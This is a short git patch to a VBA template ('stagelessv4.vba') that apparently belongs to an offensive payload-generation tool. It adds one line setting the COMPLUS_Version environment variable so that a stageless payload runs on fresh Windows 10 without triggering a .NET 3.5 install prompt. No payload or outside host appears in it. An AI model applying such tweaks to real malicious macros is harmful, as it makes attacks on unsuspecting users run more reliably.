From e83ea08d22c83a9722ec341ba555b69a4f5f39e2 Mon Sep 17 00:00:00 2001
From: bsaulsbury <30807103+bsaulsbury@users.noreply.github.com>
Date: Thu, 5 Jul 2018 15:02:11 -0400
Subject: [PATCH] Fix SetVersion function in stagelessv4.vba

SetVersion function in stagelessv4.vba template was missing the line to actually set the COMPLUS_Version variable, causing the .NET 3.5 installation prompt on a fresh Windows 10 installation when using a stageless payload.
---
 templates/stagelessv4.vba | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/templates/stagelessv4.vba b/templates/stagelessv4.vba
index 9b83e1e..5838cd9 100644
--- a/templates/stagelessv4.vba
+++ b/templates/stagelessv4.vba
@@ -4,6 +4,7 @@ End Sub
 Sub SetVersion
 Dim shell
 Set shell = CreateObject("WScript.Shell")
+shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
 End Sub
 
 Private Function decodeHex(hex)
@@ -295,4 +296,4 @@ Function Run()
       DebugPrint Err.Description
       Err.Clear
     End If
-End Function
\ No newline at end of file
+End Function